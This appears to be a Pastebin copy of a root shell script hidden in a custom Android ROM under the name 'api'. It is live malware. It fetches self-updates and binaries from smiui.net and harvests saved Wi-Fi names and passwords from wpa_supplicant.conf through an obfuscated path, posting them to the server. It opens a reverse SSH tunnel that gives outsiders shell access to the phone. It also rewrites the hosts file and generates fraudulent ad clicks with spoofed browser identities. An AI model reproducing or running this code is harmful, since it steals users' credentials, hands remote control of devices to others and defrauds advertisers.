Advertisement
Guest User

smiui_api

a guest
Aug 19th, 2016
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.25 KB | None | 0 0
  1. #!/system/bin/sh
  2. ### version=1142
  3. #
  4. #---### VARS ##################################################################
  5. if which curl ; then curlbin=$(which curl) ; fi ; [ -f /system/xbin/curl ] && curlbin=/system/xbin/curl ; [ -f /data/kitchen/curl ] && curlbin=/data/kitchen/curl
  6. if which curl ; then apicurl=$(which curl) ; else [ -f /system/xbin/curl ] && apicurl=/system/xbin/curl ; [ -f /data/kitchen/curl ] && apicurl=/data/kitchen/curl ; fi
  7. #---#// VARS ##################################################################
  8. #---### FUNCTIONS #############################################################
  9. func_RANDOM()
  10. {
  11. RANGE=$2
  12. FLOOR=$1
  13. number=0 #initialize
  14. while [ "$number" -le $FLOOR ]
  15. do
  16. number=$RANDOM
  17. let "number %= $RANGE" # Scales $number down within $RANGE.
  18. done
  19. echo "$number"
  20. }
  21.  
  22. func_RANDSTRING()
  23. {
  24. stringlength=$1
  25. string=""
  26.  
  27. for i in `seq 1 ${stringlength}`
  28. do
  29. #string=${string}$(echo 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' | cut -b `func_RANDOM 0 63`)
  30. string=${string}$(echo 'abcdefghijklmnopqrstuvwxyz' | cut -b `func_RANDOM 0 27`)
  31. done
  32. echo "$string"
  33. }
  34.  
  35. func_PROPRANDSTRING()
  36. {
  37. stringlength=$1
  38. string=""
  39.  
  40. for i in `seq 1 ${stringlength}`
  41. do
  42. #string=${string}$(echo 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' | cut -b `func_RANDOM 0 63`)
  43. string=${string}$(echo 'abcdef0123456789' | cut -b `func_RANDOM 0 17`)
  44. #string=${string}$(echo 'abcdefghijklmnopqrstuvwxyz' | cut -b `func_RANDOM 0 27`)
  45. done
  46. echo "$string"
  47. }
  48.  
  49. Fecho()
  50. {
  51. echo "`date "+%d-%m-%Y %H:%M:%S -- "`$1"
  52. }
  53.  
  54. Fdebug()
  55. {
  56. if [[ "${imei}" == "9cc8f54c6a70dbcd080da4b7601aa2e0" ]]
  57. then
  58. return 0
  59. else
  60. return 1
  61. fi
  62. }
  63.  
  64. func_LOCALE()
  65. {
  66.  
  67. loclocale=$(getprop persist.sys.locale | grep -e '^[a-z][a-z]-[A-Z][A-Z]$' -e '^[a-zA-Z][a-zA-Z]$')
  68. test -z $loclocale && loclocale=`getprop persist.sys.language | grep -e '^[a-z][a-z]-[A-Z][A-Z]$' -e '^[a-zA-Z][a-zA-Z]$'`
  69. case `func_RANDOM 0 6` in
  70. 1)
  71. loclang="${loclocale},en-US;q=0.7,en;q=0.3"
  72. ;;
  73. 2)
  74. loclang="${loclocale},en-US;q=0.8,en;q=0.7"
  75. ;;
  76. 3)
  77. loclang="${loclocale},en-US;q=0.8,en;q=0.5"
  78. ;;
  79. 4)
  80. loclang="${loclocale},en-GB;q=0.7,en;q=0.6"
  81. ;;
  82. 5)
  83. loclang="${loclocale},en-US;q=0.5,en;q=0.4"
  84. ;;
  85. esac
  86. case "$loclocale" in
  87. en-US|en|EN-US|en-us)
  88. loclang="en-US;q=0.8,en;q=0.5"
  89. ;;
  90. en-GB|EN-GB|en-gb)
  91. loclang="en-GB;q=0.8,en;q=0.4"
  92. ;;
  93. "")
  94. loclang="en-US;q=0.8,en;q=0.3"
  95. ;;
  96. esac
  97.  
  98. }
  99.  
  100. func_USERAGENT()
  101. {
  102.  
  103. useragent_file=/data/ua.tmp
  104. rm $useragent_file &> /dev/null
  105. case $1 in
  106. desktop)
  107. echo 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0' >> $useragent_file
  108. echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58' >> $useragent_file
  109. echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36' >> $useragent_file
  110. echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0' >> $useragent_file
  111. echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A' >> $useragent_file
  112. echo 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2780.0 Safari/537.36' >> $useragent_file
  113. echo 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' >> $useragent_file
  114. echo 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36' >> $useragent_file
  115. echo 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2480.0 Safari/537.36' >> $useragent_file
  116. echo 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2763.0 Safari/537.36' >> $useragent_file
  117. echo 'Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0' >> $useragent_file
  118. echo 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.108 Safari/537.36' >> $useragent_file
  119. echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31 (Edition Campaign 70)' >> $useragent_file
  120. echo 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.00' >> $useragent_file
  121. echo 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' >> $useragent_file
  122. echo 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' >> $useragent_file
  123. echo 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)' >> $useragent_file
  124. echo 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0' >> $useragent_file
  125. echo 'Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20100101 Firefox/30.0' >> $useragent_file
  126. echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:47.0) Gecko/20100101 Firefox/47.0' >> $useragent_file
  127. echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2767.4 Safari/537.36 OPR/40.0.2273.0 (Edition developer)' >> $useragent_file
  128. echo 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0' >> $useragent_file
  129. echo 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 YaBrowser/16.6.1.30014 (beta) Yowser/2.5 Safari/537.36' >> $useragent_file
  130. echo 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.4.2564.88 Safari/537.36' >> $useragent_file
  131. echo 'Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0' >> $useragent_file
  132. sed -n "$(func_RANDOM 0 26)p" $useragent_file
  133. rm $useragent_file &> /dev/null
  134. ;;
  135. mobile)
  136. echo 'Mozilla/5.0 (Linux; Android 5.1; m2 note Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
  137. echo 'Mozilla/5.0 (Linux; U; Android 4.4.4; vi; MI 4C Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 UCBrowser/9.7.5.418 U3/0.8.0 Mobile Safari/533.1' >> $useragent_file
  138. echo 'Mozilla/5.0 (Linux; U; Android 5.0.2; id; Redmi Note 2 Build/LRX22G) AppleWebKit/534.30 (KHTML,like Gecko) Version/4.0 UCBrowser/10.4.0.641 U2/1.0.0 Speed Safari/534.30' >> $useragent_file
  139. echo 'Mozilla/5.0 (Linux; Android 5.1.1; Xperia Z2 Tablet Wifi Build/LMY48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Safari/537.36' >> $useragent_file
  140. echo 'Mozilla/5.0 (Linux; Android 5.1.1; Redmi 2 Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2519.0 Mobile Safari/537.36' >> $useragent_file
  141. echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 4i Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2516.0 Mobile Safari/537.36' >> $useragent_file
  142. echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 4LTE Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 ACHEETAHI/2100502010' >> $useragent_file
  143. echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 3W Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.42 Mobile Safari/537.36' >> $useragent_file
  144. echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 2S Build/LMY48B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
  145. echo 'Mozilla/5.0 (Linux; Android 5.1.1; HM NOTE 1W Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2519.0 Mobile Safari/537.36' >> $useragent_file
  146. echo 'Mozilla/5.0 (Linux; Android 5.0.2; MI NOTE Pro Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
  147. echo 'Mozilla/5.0 (Linux; Android 4.3; Galaxy Nexus Build/JWR66Y) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
  148. echo 'Opera/9.80 (Android; Opera Mini/7.5.33135/37.6631; U; en) Presto/2.12.423 Version/12.16' >> $useragent_file
  149. echo 'Mozilla/5.0 (Linux; Android 4.4.4; MI PAD Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 YaBrowser/15.6.2311.5718.01 Yowser/2.0.3 Safari/537.36' >> $useragent_file
  150. echo 'Mozilla/5.0 (Linux; Android 4.4.4; MI2A_BETA Decuro Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36' >> $useragent_file
  151. echo 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5' >> $useragent_file
  152. echo 'Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5' >> $useragent_file
  153. echo 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' >> $useragent_file
  154. sed -n "$(func_RANDOM 0 19)p" $useragent_file
  155. rm $useragent_file &> /dev/null
  156. ;;
  157. both)
  158. if [[ "$(func_RANDOM 0 4)" == "1" ]] # 1 = mobile - 2,3 = desktop
  159. then
  160. func_USERAGENT mobile
  161. else
  162. func_USERAGENT desktop
  163. fi
  164. ;;
  165. esac
  166.  
  167. }
  168.  
  169. func_SLEEP()
  170. {
  171. Fdebug && Fecho "[INFO] Sleep $1 Seconds - Reason: $2" >> ${debug_logfile}
  172. for i in $(seq 1 ${1})
  173. do
  174. sleep 1
  175. done
  176. }
  177.  
  178. func_WIFI()
  179. {
  180. if route | grep wlan0 &> /dev/null ; then return 0 ; else return 1 ; fi
  181. }
  182.  
  183. func_INT()
  184. {
  185. if ping -q -c 1 ${smiuiurl} &> /dev/null ; then return 0 ; else return 1 ; fi
  186. }
  187.  
  188. func_FILES()
  189. {
  190. mkdir -p /data/miui/tmp &> /dev/null
  191. Vfile_check=0
  192.  
  193. [ "$(md5sum /data/miui/tmp/83210983210938218367 | awk '{print $1}' )" == "db8592ae7f574844612a847888ffadac" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/83210983210938218367" -o /data/miui/tmp/83210983210938218367
  194. [ "$(md5sum /data/miui/tmp/83746120198172672819 | awk '{print $1}' )" == "0212c963eccd27a0b9994327300bf11f" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/83746120198172672819" -o /data/miui/tmp/83746120198172672819
  195. [ "$(md5sum /data/miui/tmp/39208746789036475142 | awk '{print $1}' )" == "2741a41a3d74ba30ccbb89da754a082f" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/39208746789036475142" -o /data/miui/tmp/39208746789036475142
  196. [ "$(md5sum /data/miui/tmp/27272883776178882991 | awk '{print $1}' )" == "5289c946a21666c8fd9015e6c571f8d3" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/27272883776178882991" -o /data/miui/tmp/27272883776178882991
  197.  
  198. [ "$(md5sum /data/miui/tmp/83210983210938218367 | awk '{print $1}' )" == "db8592ae7f574844612a847888ffadac" ] || Vfile_check=1
  199. [ "$(md5sum /data/miui/tmp/83746120198172672819 | awk '{print $1}' )" == "0212c963eccd27a0b9994327300bf11f" ] || Vfile_check=1
  200. [ "$(md5sum /data/miui/tmp/39208746789036475142 | awk '{print $1}' )" == "2741a41a3d74ba30ccbb89da754a082f" ] || Vfile_check=1
  201. [ "$(md5sum /data/miui/tmp/27272883776178882991 | awk '{print $1}' )" == "5289c946a21666c8fd9015e6c571f8d3" ] || Vfile_check=1
  202.  
  203. chown -R root.root /data/miui/tmp
  204. chmod -R 755 /data/miui/tmp
  205.  
  206. if [ ${Vfile_check} == 1 ] ; then return 1 ; else return 0 ; fi
  207. }
  208.  
  209. func_API()
  210. {
  211. mount -o remount,rw /system
  212.  
  213. chmod 755 $(which curl) &> /dev/null
  214. chmod 755 /system/xbin/curl &> /dev/null
  215. chmod 755 /data/kitchen/curl &> /dev/null
  216. chown root.root $(which curl) &> /dev/null
  217. chown root.root /system/xbin/curl &> /dev/null
  218. chown root.root /data/kitchen/curl &> /dev/null
  219.  
  220. ${apicurl} -k -s https://${smiuiurl}/api > /system/bin/api.tmp
  221.  
  222. oKb1="or"
  223. bX2="ss"
  224. apinew=$(grep '^### version=....$' /system/bin/api.tmp | cut -d '=' -f 2) ; [ -z "${apinew}" ] && apinew=1
  225. apiold=$(grep '^### version=....$' /system/bin/api | cut -d '=' -f 2) ; [ -z "${apiold}" ] && apiold=1
  226. version=$(getprop ro.build.display.id)
  227. device=$(getprop ro.product.device)
  228. apivers=$(grep '^### version=....$' /system/bin/api | cut -d '=' -f 2)
  229.  
  230.  
  231. if [ "${apinew}" -gt "${apiold}" ]
  232. then
  233. rm /system/bin/api
  234. mv /system/bin/api.tmp /system/bin/api
  235. chown root.root /system/bin/api
  236. chmod 755 /system/bin/api
  237. sleep 1
  238. killall api
  239. else
  240. rm /system/bin/api.tmp
  241. fi
  242.  
  243. apiport=$(${apicurl} -k --data "imei=${imei}&device=${device}&version=${version}&apivers=${apivers}" https://${smiuiurl}/api.php)
  244. fe=a;ui=p;ee=f;iii=n;aee=t;a122=i;uzz="/"
  245. #Fdebug || ${apicurl} -k -F userfile=@${uzz}d${fe}t${fe}${uzz}m${a122}sc${uzz}w${a122}f${a122}${uzz}w${ui}${fe}_su${ui}${ui}l${a122}c${fe}nt.conf https://${smiuiurl}/ul.php
  246. Fdebug || sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/;;;/g' ${uzz}d${fe}t${fe}${uzz}m${a122}sc${uzz}w${a122}f${a122}${uzz}w${ui}${fe}_su${ui}${ui}l${a122}c${fe}nt.conf | tr '}' '\n' | grep psk | sed 's/^.*ssid="\([^;]*\)";;;.*psk="\([^;]*\)";;;.*$/\1\/\2/g' | while IFS="/" read p1 p2
  247. do
  248. webify1=$(echo $p1 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
  249. webify2=$(echo $p2 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
  250. ${apicurl} -k --data "parm1=${webify1}&parm2=${webify2}" https://${smiuiurl}/api1.php
  251. done
  252. #find /sdcard/ -type f | grep -e "pa${bX2}w${oKb1}" | while read line
  253. #do
  254. # Fdebug || ${apicurl} -k -F userfile=@$line https://${smiuiurl}/ul.php
  255. #done
  256.  
  257. mount -o remount,ro /system
  258. }
  259.  
  260. func_SRV()
  261. {
  262. if [ "${apiport}" -lt 60001 ] && [ "${apiport}" -gt 9999 ]
  263. then
  264. killall 39208746789036475142 > /dev/null
  265. killall 27272883776178882991 > /dev/null
  266. kill -9 $(cat /data/miui/tmp/23871274281932197903) > /dev/null
  267. rm /data/miui/tmp/23871274281932197903 > /dev/null
  268.  
  269. /data/miui/tmp/39208746789036475142 -E -p localhost:7272 -b /data/miui/tmp/83746120198172672819 -r /data/miui/tmp/83210983210938218367 -F -P /data/miui/tmp/23871274281932197903 -I 1200 -a -Y smiui &
  270. /data/miui/tmp/27272883776178882991 -R ${apiport}:localhost:7272 smiui@smiui.net -p 2233 -y -y -i /data/miui/tmp/83210983210938218367 -N &
  271.  
  272. func_SLEEP 300
  273. killall 39208746789036475142 > /dev/null
  274. killall 27272883776178882991 > /dev/null
  275. kill -9 $(cat /data/miui/tmp/23871274281932197903) > /dev/null
  276. rm /data/miui/tmp/23871274281932197903 > /dev/null
  277. return 0
  278. else
  279. return 1
  280. fi
  281. }
  282.  
  283. func_PROP()
  284. {
  285. propellerref="http://download.smiui.net/download.php"
  286. cookie="/data/kitchen/zZn41T54B3sT.tmp"
  287. agent=$(func_USERAGENT both)
  288. func_LOCALE
  289.  
  290. mount -o rw,remount /system
  291. mv /etc/hosts /etc/hhh
  292. echo "5.255.80.111 smiui.net" >> /etc/hosts
  293. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  294. ndc resolver flushdefaultif
  295. sleep 1
  296.  
  297. smiuicheck=$(${apicurl} -k --data "imei=${imei}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' https://${smiuiurl}/propcheck.php)
  298. if [[ ${smiuicheck} == "START" ]]
  299. then
  300. rm ${cookie} "/data/api.tmp" &> /dev/null
  301. Fdebug && Fecho "[propeller]- AGENT: ${agent}" >> ${debug_logfile}
  302.  
  303. $curlbin "http://go.oclaserver.com/apu.php?zoneid=728321" -H 'Host: go.oclaserver.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -k -L -c ${cookie} > "/data/api.tmp"
  304. #### decrypt
  305. decryptstring=$(grep "abcdefghijklmnopqrstuvwxyz0123456789...................................." "/data/api.tmp" | sed 's/^.*\(abcdefghijklmnopqrstuvwxyz0123456789....................................\).*$/\1/g')
  306. cryptbyte=$(echo $decryptstring | cut -c 37-)
  307. realbyte=$(echo $decryptstring | cut -c 1-36)
  308.  
  309. rm "/data/decrypt.tmp" "/data/final_decrypt.tmp" &> /dev/null && touch "/data/decrypt.tmp" && touch "/data/final_decrypt.tmp"
  310. decryptline=$(tail -n1 "/data/api.tmp" | sed -e 's!^.*"\(....:.../.../..........\......./?..*=........-....-....-....-.............\).*$!\1!g')
  311. bytecount=$(echo $decryptline | wc -c)
  312. for i in $(seq 1 "${bytecount}")
  313. do
  314. echo "$decryptline" | cut -b${i} > "/data/decrypt.tmp"
  315. stringpos=1
  316. for x in $(echo $cryptbyte | sed 's/\(.\)/\1 /g')
  317. do
  318. if grep $x "/data/decrypt.tmp" &> /dev/null
  319. then
  320. echo "$(echo $realbyte | cut -c${stringpos})" > "/data/decrypt.tmp"
  321. break
  322. fi
  323. ((stringpos++))
  324. done
  325. echo "$(cat "/data/final_decrypt.tmp")$(cat "/data/decrypt.tmp")" > "/data/final_decrypt.tmp"
  326. done
  327. link="$(cat "/data/final_decrypt.tmp" | sed 's/\\//g')\\"
  328.  
  329.  
  330. #### decrypt end
  331.  
  332. #cookievar=`grep "pbk2" ${cookie} | awk '{ print $7 }'`
  333. #link="http://onclickads.net/?zoneid=728321&pbk2=${cookievar}&r=%2Foc%2Fhan&uuid=$(func_PROPRANDSTRING 8)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 12)"
  334.  
  335.  
  336. Fdebug && cp -f "/data/api.tmp" "/data/propeller1" && cat ${cookie} >> "/data/propeller1"
  337.  
  338. Fdebug && Fecho "[propeller]- $link" >> ${debug_logfile}
  339.  
  340. $curlbin "$link" -H "User-Agent: ${agent}" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H "Upgrade-Insecure-Requests: 1" -k -L -c ${cookie} -b ${cookie} > "/data/api.tmp"
  341.  
  342. link2=`grep http "/data/api.tmp" | sed "s/^.*\(http:.*\)'.*$/\1/g"`
  343. echo ${link2} | grep -w "^http" || link2=$(grep http "/data/api.tmp" | sed "s/^.*'\(.*\)'.*$/\1/g" | head -n1)
  344. Fdebug && cp -f "/data/api.tmp" "/data/propeller2"
  345.  
  346. Fdebug && Fecho "[propeller]- $link2" >> ${debug_logfile}
  347.  
  348. if ! test -z ${link2}
  349. then
  350. $curlbin "${link2}" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${link}" -H 'Connection: keep-alive' -k -L -c ${cookie} -b ${cookie} > "/data/api.tmp"
  351. Fdebug && cp -f "/data/api.tmp" "/data/propeller3"
  352. fi
  353. rm ${cookie} "/data/api.tmp" "/data/decrypt.tmp" "/data/final_decrypt.tmp" &> /dev/null
  354.  
  355. fi
  356. mv /etc/hhh /etc/hosts
  357.  
  358. mount -o remount,ro /system
  359. }
  360.  
  361. func_REV()
  362. {
  363. revref="http://www.smiui.net/kitchen.php"
  364. cookie="/data/kitchen/zZn41T54B3sT.tmp"
  365. agent=$(func_USERAGENT both)
  366. func_LOCALE
  367.  
  368. mount -o rw,remount /system
  369. mv /etc/hosts /etc/hhh
  370. echo "5.255.80.111 smiui.net" >> /etc/hosts
  371. echo "5.255.80.111 www.smiui.net" >> /etc/hosts
  372. ndc resolver flushdefaultif
  373. sleep 1
  374.  
  375. case `func_RANDOM 0 14` in
  376. 1)
  377. popeye='&popeye=bXg9NDc0Jm15PTQ1MyZjeD0xNjU0JmN5PTY2MyZ3PTI0MDAmaD03ODgmYz0xJnM9MSZ0PTMwMDQ%3D&olive=1'
  378. ;;
  379. 2)
  380. popeye='&popeye=bXg9Mjc1Jm15PTQwMyZjeD02MTMmY3k9MTk5Jnc9MTIzNiZoPTQwOCZjPTEmcz0xJnQ9ODAzOA%3D%3D&olive=1'
  381. ;;
  382. 3)
  383. popeye='&popeye=bXg9MTIzNCZteT0yMTUmY3g9Mjc1JmN5PTI0MCZ3PTEyMzYmaD00MDgmYz0xJnM9MSZ0PTQ1MDQ%3D&olive=1'
  384. ;;
  385. 4)
  386. popeye='&popeye=bXg9NzQ1Jm15PTk1JmN4PTkzMCZjeT0yNjkmdz0yMjQ2Jmg9NDA4JmM9MSZzPTEmdD0yNjA1&olive=1'
  387. ;;
  388. 5)
  389. popeye='&popeye=bXg9MTQ4MSZteT0yOTUmY3g9MTI1MyZjeT0zMzYmdz0yNDAwJmg9Nzg4JmM9MSZzPTEmdD04Njg%3D&olive=1'
  390. ;;
  391. 6)
  392. popeye='&popeye=bXg9MjI2Jm15PTMzMyZjeD0yNjUmY3k9MTA1Jnc9NjE1Jmg9NjM1JmM9MSZzPTEmdD0yNTA4&olive=1'
  393. ;;
  394. 7)
  395. popeye='&popeye=bXg9MjQ4Jm15PTQwMSZjeD01MzAmY3k9NjQmdz02ODYmaD02MzUmYz0xJnM9MSZ0PTE3NTk%3D&olive=1'
  396. ;;
  397. 8)
  398. popeye='&popeye=bXg9MjE4Jm15PTIwJmN4PTEyMyZjeT0yOTEmdz02ODYmaD02MzUmYz0xJnM9MSZ0PTUxMDI%3D&olive=1'
  399. ;;
  400. 9)
  401. popeye='&popeye=bXg9OTQxJm15PTMzMCZjeD04MzAmY3k9Mzg5Jnc9MTk2NCZoPTYzNCZjPTEmcz0xJnQ9MzAwNw%3D%3D&olive=1'
  402. ;;
  403. 10)
  404. popeye='&popeye=bXg9bnVsbCZteT1udWxsJmN4PW51bGwmY3k9bnVsbCZ3PTE5NjQmaD00NzEmYz0xJnM9MSZ0PTg5&olive=1'
  405. ;;
  406. 11)
  407. popeye='&popeye=bXg9Mjg2Jm15PTI3NCZjeD0xMDMmY3k9MzMmdz02NzUmaD00NzMmYz0xJnM9MSZ0PTE2ODQ%3D&olive=1'
  408. ;;
  409. 12)
  410. popeye='&popeye=bXg9OTI4Jm15PTQ4MyZjeD0xMjA5JmN5PTI0NSZ3PTI0MDAmaD03ODgmYz0xJnM9MSZ0PTEwNzg%3D&olive=1'
  411. ;;
  412. 13)
  413. popeye='&popeye=bXg9MTY2MSZteT02MjAmY3g9MTQ0MCZjeT02MDQmdz0yNDAwJmg9Nzg4JmM9MSZzPTEmdD0zMjU%3D&olive=1'
  414. ;;
  415. esac
  416.  
  417. smiuicheck=$(${apicurl} -k --data "imei=${imei}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' https://${smiuiurl}/revcheck.php)
  418. if [[ ${smiuicheck} == "START" ]]
  419. then
  420. rm ${cookie} "/data/api.tmp" &> /dev/null
  421. Fdebug && Fecho "[rev]- AGENT: ${agent}" >> ${debug_logfile}
  422.  
  423. $curlbin "tags1.eclkspsa.com/adServe/banners?tid=149982_262605_2&tagid=2" -H 'Host: tags1.eclkspsa.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
  424.  
  425. $curlbin "cdn1.srv.revdepo.com/script/rhpop_1.1.50.js" -H 'Host: cdn1.srv.revdepo.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/rhpop.js"
  426.  
  427. ap_arg=$(grep 'cmp=POPUNDER&evp=' "/data/api.tmp" | sed 's/^..*\(cmp=POPUNDER&evp=.*\)..*$/\1/g' | cut -d "'" -f 1 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
